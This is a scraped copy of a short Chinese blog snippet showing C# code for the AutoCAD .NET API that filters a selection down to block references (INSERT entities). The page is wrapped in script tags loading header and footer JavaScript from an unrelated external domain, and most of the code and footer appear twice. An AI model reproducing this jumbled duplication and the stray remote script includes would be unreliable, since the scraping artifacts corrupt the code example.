<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>1.过滤块
PromptSelectionOptions pOptions
=
new
PromptSelectionOptions();
TypedValue[] filList = { new TypedValue((int)DxfCode.Start, "INSERT") } ;
SelectionFilter filter = new SelectionFilter(filList);
PromptSelectionResult res = ed.GetSelection(pOptions, filter); // ***
if (res.Status != PromptStatus.OK) return ;
Autodesk.AutoCAD.EditorInput.SelectionSet SS = res.Value;
ObjectId[] idArray = SS.GetObjectIds();
文章来源于 http://www.cnblogs.com/wf225 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
TypedValue[] filList = { new TypedValue((int)DxfCode.Start, "INSERT") } ;
SelectionFilter filter = new SelectionFilter(filList);
PromptSelectionResult res = ed.GetSelection(pOptions, filter); // ***
if (res.Status != PromptStatus.OK) return ;
Autodesk.AutoCAD.EditorInput.SelectionSet SS = res.Value;
ObjectId[] idArray = SS.GetObjectIds();
文章来源于 http://www.cnblogs.com/wf225 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>